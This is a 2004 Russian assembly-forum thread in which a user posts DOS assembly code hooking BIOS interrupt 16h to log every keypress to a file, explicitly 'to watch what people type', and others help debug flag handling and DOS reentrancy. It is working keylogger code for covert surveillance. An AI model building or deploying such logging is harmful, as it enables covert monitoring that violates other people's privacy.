· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.ASSEMBLER —› Проблемы при перехвате BIOS прерывания клавиатуры в DOS проге

. 1 . 2 . >>

Посл.отвђт Сообщенiе


Дата: Сен 1, 2004 10:33:44

Такая вот вещь понадобилась: прога под DOS. надо нажатые клавиши записывать в файлик - следить так сказать, чего люди нажимают. Я перехватываю прерывание BIOS, выполняю сачала его, а потом записываю нажатую клавишу. Но программа ведёт себя очень странно: под NC работает нормально, под VC: (Volkov Commander) вешается VC при попытке просмотреть какой-либо файл, а из DOS Navigatora вообще запускаться нехотит - сразу виснет Navigator


Дата: Сен 1, 2004 11:46:55

Как ты записываешь данные в файл ? Контролируешь ли флаг занятости ДОС (int 28h) ? Вообще код приведи...


Дата: Сен 1, 2004 12:39:05

ChelL
„надо нажатые клавиши записывать в файлик - следить так сказать, чего люди нажимают. “
Ну так в ДОС в файлы не всегда можно записывать. Особенно в программах обработки прерываний. Обычно скидывают все в память и в фоне пишут в файл.


Дата: Сен 1, 2004 13:04:13

_Chingachguk_
я проверяю флаг заятости DOS вот так:

В основной программе:
[QOUTE]
........
; poluchim adres flagov zaniatosti DOS i flaga kritich. oshibki
mov ah, 34h
int 21h
dec bx ; umenshaem na 1 => ukazivaet na flag kritich. oshibki
mov word ptr in_dos_addr, bx
mov word ptr in_dos_addr+2, es
[/QOUTE]

[QOUTE]
; return CF=0-esli mogno polzovatsia funkciami DOS
safe_check proc
push es
push cs
pop ds

les di, dword ptr in_dos_addr
cmp word ptr es:[di], 0
pop es
jne safe_check_failed

clc ; CF=0
ret

safe_check_failed:
stc ;CF=1
ret
safe_check endp

; мой обработчик прерывания
int16h_proc proc far
jmp _jmpThrowData
b_ah db ?
_jmpThrowData:

mov b_ah,ah
pushf
call dword ptr cs:int16h_oldhandl

cmp b_ah, 0
jz _Proced
cmp b_ah, 10h
jz _Proced
cmp b_ah, 20h
jnz _Exit

_Proced:
pusha
push es
push ds

push cs
pop ds


cmp al, 0
jz _extendetkey
cmp al, 0E0h
jz _extendetkey

;zapishem simvol: buffer-simvol,dx-adres buffer'a,cx-klo-vo simvolov
mov buffer,al
mov dx, offset buffer
mov cx, 1
cmp al, 0Dh
jnz _write2file
mov dx, offset eol
mov cx, 2
jmp _write2file

_extendetkey:
cmp ah, 48h
jz _GreyKey1
cmp ah, 50h
jnz _extendedKey1
_GreyKey1:
mov dx, offset eol
mov cx, 2
jmp _write2file

_extendedKey1:
call GetExtended


_write2file:
; проверим
cli
call safe_check
sti
jc _out__int16_proc

call do_io ; вызов процедуры записи буффера (dx) в файл. в CX - количество записываемых файлов

_out__int16_proc:
pop ds
pop es
popa

_Exit:
iret
int16h_proc endp
[QOUTE]


Дата: Сен 1, 2004 13:06:37

А, я понял ! ;) Ты возвращаешься из перехватчика iret, а надо - retf 2 или как-то иначе флаги сохранять.


Дата: Сен 1, 2004 13:08:22

ChelL
mov b_ah,ah -> mov cs:b_ah,ah ?


Дата: Сен 1, 2004 13:25:03

valterg
была такая идея...
" и в фоне пишут в файл"
в смысле в фоне?
прогу не делать резидентной а запустиь цикл и раз в секунду проверять? а как прогу на секунду остановить?


Дата: Сен 1, 2004 14:35:21

_Chingachguk_
pushf я делаю для call dword ptr cs:int16h_oldhandl. А он вроде сам из стека удаляет флаги... или нет?


Дата: Сен 1, 2004 15:30:52

ставил я retf 2 вместо ret - тот же результат :(


Дата: Сен 1, 2004 15:40:13

Ёиоу !

Смотри:

pushf
call dword ptr Old_Handler

; Сейчас флаг ZF вернулся из int 16h оригинального

...

; cmp или любые другие команды - портят его !

...

iret ; Вообще выталкивает флаги из стека

retf 2 ; Возвращает уже совсем другие флаги...


Дата: Сен 1, 2004 16:33:17

так... что то не пойму я...
то есть мне надо ещё раз после call dword ptr Old_Handler выполнить pushf, а при выходе из процедуры popf, т.е.
....
pushf
call dword ptr Old_Handler
pushf
.....
_out__int16_proc:
pop ds
pop es
popa

_Exit:
popf
iret
int16h_proc endp
так надо сделать?


Дата: Сен 1, 2004 17:13:16

так... что то не пойму я...
то есть мне надо ещё раз после call dword ptr Old_Handler выполнить pushf, а при выходе из процедуры popf, т.е.
....
pushf
call dword ptr Old_Handler
pushf
.....
_out__int16_proc:
pop ds
pop es
popa

_Exit:
popf
iret
int16h_proc endp
так надо сделать?


Дата: Сен 1, 2004 17:34:41

Ну типа того. Тока вложение другое.
push ds
push es
...
pushf
call dword ptr OldHandler
pushf
... ; do everything
popf
pop es
pop ds
retf 2


Дата: Сен 1, 2004 18:39:51

CheIL,
введи флаг проверки на активность int 13h:
(новый обработчик int 13h может выглядеть так)
pushf
inc disk_flag
call dword ptr cs:[old13_off];вызов старого 13h
pushf
dec disk_flag
popf
ret 2

int 13h лучше не прерывать во время выполнения-оно нереентабильно.


Дата: Сен 1, 2004 18:50:25

ChelL

Нельзя в программе обработки прерываний писать в файл. Ты должен только писать в буфер и каким-то образом организовать фоновый процесс ( в ДОС-е вроде INT 2F этим заправляет), который будет это делать. Проверить, что дело именно в записи легко. На время убери его и проверь.

. 1 . 2 . >>


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.512